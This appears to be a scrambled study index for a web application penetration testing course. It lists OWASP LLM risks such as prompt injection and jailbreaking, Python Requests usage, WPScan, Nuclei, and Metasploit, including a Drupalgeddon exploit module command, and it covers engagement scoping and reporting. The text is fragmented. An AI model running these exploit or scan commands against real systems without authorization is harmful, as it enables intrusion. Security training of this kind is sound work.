pg.14 Logic Flaws: Workflow Tampering pg.19 Logic Flaws: WSTG Guidance pg.21 LLM01: Prompt Injection LLM02: Insecure Output Handling LLM03: Training Data Poisoning LLM04: Model Denial of Service LLM05: Supply Chain Vulnerabilities LLM06: Sensitive Information Disclosure LLM07: Insecure Plugin Design LLM08: Excessive Agency LLM09: Overreliance OWASP Top 10 for Large Language Model Applications pg.25 LLM10: Model Theft Two types of attacks Direct Prompt injections, often also called jailbreaking Occur when the underlying system prompt is overwritten or revealed Indirect Prompt injections LLM01: Prompt Injection (1) pg.26 Exploited when LLM accepts input from external sources LLM02: Insecure Output Handling pg.29 Output data is not properly sanitized or encoded LLM04: Model Denial of Service pg.30 LLM06: Sensitive Information Disclosure pg.30 LLM07: Insecure Plugin Design pg.31 Security Logging and Monitoring pg.33-35 Incident Response pg.36 Python 3 vs. Python 2 pg.42 Python Data Types and if/elif/else Syntax pg.45 Python Loops pg.46 Python List and Dictionaries pg.47 A number of general-purpose web libraries have been released for Python over the years. Requests is the most The Requests library has supplanted many of these libraries and has become the go-to choice for Python Web Libraries pg.48 many Python developers. Requests to download a URL and print the response: #!/usr/bin/python3 import requests r = requests.get('http://www.sec542.org') Python - Request pg.49 print (r.text) Python - Post via Request pg.51 Requests handles SSL/TLS transparently: Python - Requests and SSL/TLS pg.52 r = requests.get('https://www.sec542.org')print (r.text) is a WordPress security scanner designed to identify vulnerabilities, misconfigurations, and outdated plugins or themes in WordPress WPScan pg.57-58 installations. framework for developing, testing, and executing exploit code. Numerous relevant exploits for WordPress, Joomla, Drupal, Oracle DB, SQL Server, Metasploit pg.62-63 SCADA web frontends, and many others Metasploit has two basic spiders: o auxiliary/crawler/msfcrawler o auxiliary/scanner/http/crawler Although these spiders/crawlers might be great, they are not a replacement Seeding Metasploit Database pg.64 for Burp or ZAP’s capabilities The db_import command in Metasploit allows you to import external data like scan results from tools such as Nmap, Nessus, or Qualys into Metasploit's database. db_import -h can provide a list of supported files db_import pg.65-66 and their expected format BeEF + Metasploit pg.67-68 Sqlmap Metasploit pg.69 Some examples of Metasploit web application exploits that might well fall within our domain: o CMS: WordPress and WP plugins, Joomla, Drupal, and so on o Databases MySQL, MS SQL, PostgreSQL, Oracle, and such o Specific SQL injection flaws ( msf> search sqli ) Metasploit and Known Vulnerabilities pg.70 o Shellshock, Heartbleed, or Drupalgeddon exploitation popular open-source content management system (CMS) known for its flexibility and robust features. However, like any software, it can be Drupal pg.71 vulnerable if not properly maintained or secured. refers to a series of critical vulnerabilities in Drupal's core that allow attackers to compromise sites. The most infamous ones are CVE-2014- Drupalgeddon pg.72-74 3704 (Drupalgeddon 1). Metasploit + Drupalgeddon pg.75 msf> use exploit/multi/http/drupal_drupageddon A fast, customizable vulnerability scanner that uses templates to identify misconfigurations, vulnerabilities, and other security issues.The tool itself is just a scanning engine, vulnerability templates are available in a different repository: * https://github.com/projectdiscovery/nuclei-templates Nuclei Vulnerability Scanner pg.79-81 * Templates are written in YAML format Nuclei can be easily executed just by specifying the target URL o Of course, you can have multiple sites listed in a file By default, all templates are used and 150 requests are sent per second! Running Nuclei pg.83 o Keep this in mind as you can easily overwhelm the target web site With –t we can specify a template or template directory paths to include in the scan. Example: $ nuclei -u http://sec542.org -t Nuclei Commands*** pg.84 exposures/configs Penetration testing results are often nondeterministic. helpful to perform some quick research to better understand the vulnerability and the When Tools Fail pg.88-89 exploit. is an exploit module in the Metasploit framework designed to target vulnerabilities in MediaWiki installations. It specifically abuses a flaw in the thumb.php script, which is used to generate thumbnails for uploaded Metasploit mediawiki_thumb pg.90 images. Personal preparation is key to ensuring a quality assessment: o Skills o Toolkit Asking the right questions before an assessment tends to allow for a timely start and ensures all parties’ expectations are conveyed: o Pen test specifics Preparation /Toolkit pg.97-100 o Communication plans The following list outlines common topics: o Permission o Scope o Rules of Engagement o Source Details o Filtering (or allowing) access to certain IP addresses, ports, etc. o Test accounts Pre-Engagement Specifics pg.102-106 o Backups Communication Plans pg.107-109 Be sure that the level of detail presented is appropriate for the intended Post Assessment Results pg.111 audience Using the guidance in the WSTG, a report should contain at least the following sections: Executive Summary - anticipated business operation and financial impact that could occur if an attacker exploited the discovered Test Parameters - Introduction section, this portion of the report outlines the relevant details, constraints, and results from the assessment Findings - Technical details about each finding should be documented in Reports pg.112-116 this section. Includes screenshots. Reports: Appendices pg.117 Alternative Result Formats pg.118 spreadsheets, protals, JSON, etc. Various degrees of automation exist, but the basic idea is that templatized text is merged with the details collected while testing With more of the report written ahead of time, pen testers can spend Report Automation pg.119 moretime doing what they love: Hacking! Whenever possible, a debrief presentation can afford pen testers the Debrief Presentation pg.120 opportunity to discuss the results interactively